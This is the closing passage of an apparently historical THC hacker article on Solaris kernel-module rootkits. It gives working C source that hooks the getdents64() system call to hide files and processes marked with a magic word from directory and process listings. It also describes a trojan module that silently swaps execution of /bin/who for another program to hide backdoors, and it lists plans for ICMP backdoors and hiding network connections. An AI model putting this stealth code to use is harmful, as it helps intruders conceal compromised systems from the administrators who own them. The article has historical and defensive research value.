  851. <ol><tt>typedef struct&nbsp; user {</tt>
  852. <p>[...]
  853. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*</tt>
  854. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * Executable file
  855. info.</tt>
  856. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</tt>
  857. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct exdata&nbsp;&nbsp;
  858. u_exdata;</tt>
  859. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; auxv_t&nbsp; u_auxv[__KERN_NAUXV_IMPL];
  860. /* aux vector from exec */</tt>
  861. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
  862. u_psargs[PSARGSZ];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* arguments from exec
  863. */</tt>
  864. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
  865. u_comm[MAXCOMLEN + 1];</tt>
  866. <p>[...]</ol>
  867. The member <tt>u_psargs</tt> carries the executed filename of a process
  868. and its arguments, this is a good place to check if we should hide the
  869. process. There is a little macro defintion in proc.h that helps us getting
  870. the <tt>p_user</tt> entry from <tt>proc_t</tt>:
  871. <ol><tt>/* Macro to convert proc pointer to a user block pointer */</tt>
  872. <br><tt>#define PTOU(p)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  873. (&amp;(p)->p_user)</tt></ol>
  874. Now we can determine the exectued filename of every process if we know
  875. where the <tt>proc_t</tt> struct is. Another nice funtions helps us finding
  876. the <tt>proc_t</tt> struct from a corresponding <tt>pid:</tt> <tt>proc_t
  877. *prfind(pid_t). </tt>A tool listing process accesses the /proc directory
  878. that stores the processes sorted by their <tt>pids</tt>. I included a small
  879. check into the <tt>getdents64()</tt> fake syscall from above, so the function
  880. <tt>check_for_process()
  881. </tt>gets
  882. called.
  883. <blockquote>[...]
  884. <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <tt>while (i > 0) {</tt>
  885. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  886. reclen = buf3->d_reclen;</tt>
  887. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  888. i -= reclen;</tt>
  889. <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  890. if ((strstr((char *) &amp;(buf3->d_name), (char *) &amp;magic) != NULL)
  891. ||</tt>
  892. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  893. check_for_process((char *) &amp;(buf3->d_name))) {</tt>
  894. <br><tt>#ifdef DEBUG</tt>
  895. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  896. cmn_err(CE_NOTE,"sitf: hiding file/process (%s)", buf3->d_name);</tt>
  897. <br><tt>#endif</tt>
  898. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  899. if (i != 0)</tt>
  900. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  901. memmove(buf3, (char *) buf3 + buf3->d_reclen, i);</tt>
  902. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  903. else</tt>
  904. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  905. buf3->d_off = 1024;</tt>
  906. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  907. ret -= reclen;</tt>
  908. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  909. }</tt>
  910. <p>[...]</blockquote>
  911. Now let's take a look at the <tt>check_for_process()</tt> function. In
  912. the following code I use a small function called <tt>sitf_isdigit()</tt>
  913. and <tt>sitf_atoi()</tt>, you should easily guess what these function do.
  914. In this content it tells us if the file is maybe inside the proc and represents
  915. a pid. The <tt>check_process()</tt> call implements the mechanism described
  916. above:
  917. <br>&nbsp;
  918. <blockquote><tt>int check_for_process(char *filename)</tt>
  919. <br><tt>{</tt>
  920. <br><tt>&nbsp;&nbsp;&nbsp; if (sitf_isdigit(filename) &amp;&amp; check_process(sitf_atoi(filename)))</tt>
  921. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return TRUE;</tt>
  922. <br><tt>&nbsp;&nbsp;&nbsp; else</tt>
  923. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;</tt>
  924. <br><tt>}</tt>
  925. <p><tt>int check_process(pid_t pid)</tt>
  926. <br><tt>{</tt>
  927. <br><tt>&nbsp;&nbsp;&nbsp; proc_t *proc;</tt>
  928. <br><tt>&nbsp;&nbsp;&nbsp; char *psargs;</tt>
  929. <br><tt>&nbsp;&nbsp;&nbsp; int ret;</tt>
  930. <p><tt>&nbsp;&nbsp;&nbsp; proc = (proc_t *) prfind(pid);</tt>
  931. <br><tt>&nbsp;&nbsp;&nbsp; psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP);&nbsp;</tt>
  932. <br><tt>&nbsp;&nbsp;&nbsp; if (proc != NULL)</tt>
  933. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*</tt>
  934. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * PTOU(proc)->u_psargs
  935. is inside the kernel memory, no special</tt>
  936. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * copy methods
  937. are needed.</tt>
  938. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */&nbsp;</tt>
  939. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(psargs, PTOU(proc)->u_psargs,
  940. PSARGSZ);</tt>
  941. <br><tt>&nbsp;&nbsp;&nbsp; else&nbsp;</tt>
  942. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;</tt>
  943. <p><tt>&nbsp;&nbsp;&nbsp; if (strstr(psargs, (char *) &amp;magic) != NULL)</tt>
  944. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = TRUE;</tt>
  945. <br><tt>&nbsp;&nbsp;&nbsp; else&nbsp;</tt>
  946. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = FALSE;</tt>
  947. <br><tt>&nbsp;&nbsp;&nbsp; kmem_free(psargs, PSARGSZ);</tt>
  948. <br><tt>&nbsp;&nbsp;&nbsp; return ret;</tt>
  949. <br><tt>}</tt></blockquote>
  950. </blockquote>
  951. <font size=+1>--->&nbsp;&nbsp; Module: sitf0.2.c</font>
  952. <blockquote>The sitf0.2.c (Solaris Integrated Trojan Facility) implements
  953. the features described in 5.5 and 5.6, it is configured as the sitf0.1
  954. module and includes the following 2 defintions:
  955. <blockquote><tt>#define OLDCMD&nbsp; "/bin/who"</tt>
  956. <br><tt>#define NEWCMD&nbsp; "/usr/openwin/bin/xview/xcalc"</tt></blockquote>
  957. If the file <tt>OLDCMD</tt> is executed the <tt>NEWCMD</tt> will be executed
  958. instead, this is a usefull feature for placing backdoors in hidden directories.&nbsp;</blockquote>
  959. <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
  960. <br>&nbsp;
  961. <p><font size=+1>6&nbsp; Future plans</font>
  962. <ul>If you read the article carefully, you may have found a lot of things
  963. to be fixed in future releases, here is a brief summary of my ideas and
  964. plans for the next version - including fixes and improvements:
  965. <ul>- Proper implementation of allocating user memory
  966. <br>- Bugfree version of the <tt>getdents64()</tt> file hiding mechanism
  967. allowing files to contain the magic word more than once.
  968. <br>- Proper hiding of the module by backdooring the ksyms module
  969. <br>- ICMP backdoor executing programs realized backdooring the icmp module
  970. <br>- Hiding connections from netstat
  971. <br>- UDP based telnet access via the udp module (damn, this is hard stuff.
  972. Idea by Escher)
  973. <br>- A module version for Solaris 2.5 (Sparc) and 2.6 (Sparc/x86)</ul>
  974. As a result of this article I also plan to write a security module for
  975. Solairs 2.7 (Sparc/x86) including the following features:
  976. <ul>- Protected module loading and unloading
  977. <br>- Limited process listings for users
  978. <br>- Symlink checks in writable directories
  979. <br>- Kernel based packet sniffing
  980. <br>- Exploited overflow notification</ul>
  981. </ul>
  982. <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
  983. <br>&nbsp;
  984. <p><font size=+1>7&nbsp;&nbsp; Closing words</font>
  985. <blockquote>I thank the following people that helped creating this article:
  986. <blockquote>- Wilkins&nbsp; ... for all his help, betatesting and ideas
  987. <br>- Pragmatic ... for his articles and support at the CCCamp
  988. <br>- Acpizer ... for all his knowledge and help with the modules
  989. <br>- Escher ... for his Solaris 2.5 support and corrections
  990. <br>- Horizon ... for his Ultra Sparc port and his help
  991. <br>- Knie ... godfather of OpenBSD
  992. <br>- Plaguez ... for his great itf.c Linux module (written in '97)
  993. <br>- Ekonroth from the church of shambler ... for mental support&nbsp;
  994. <br>- All people in my favorite IRC channel</blockquote>
  995. I would also like to thank my girlfriend who spent a lot of time with me
  996. talking about Solaris' kernel-architecture.
  997. <p>If you have ideas, critisism or further questions, please contact me
  998. at <a href="mailto:plasmoid@pimmel.com">plasmoid@pimmel.com</a>. I am thankful
  999. for improving suggestions. Just don't forget this article is not designed
  1000. for script kiddies, intrusion is illegal and I don't have the ambition
  1001. to help you hacking into some lame provider systems.&nbsp;
  1002. <br>If you read this far, you might also be interested in one of the other
  1003. THC articles or magazines at <a href="http://www.thc.org">http://www.thc.org/</a>.</blockquote>
  1004. <blockquote>have fun,
  1005. <br>Plasmoid / THC
  1006. <br>&nbsp;
  1007. <br>&nbsp;
  1008. <blockquote>&nbsp;</blockquote>
  1009. </blockquote>
  1010. </td>
  1011. </tr>
  1012. </table></center>
  1013. </body>
  1014. </html>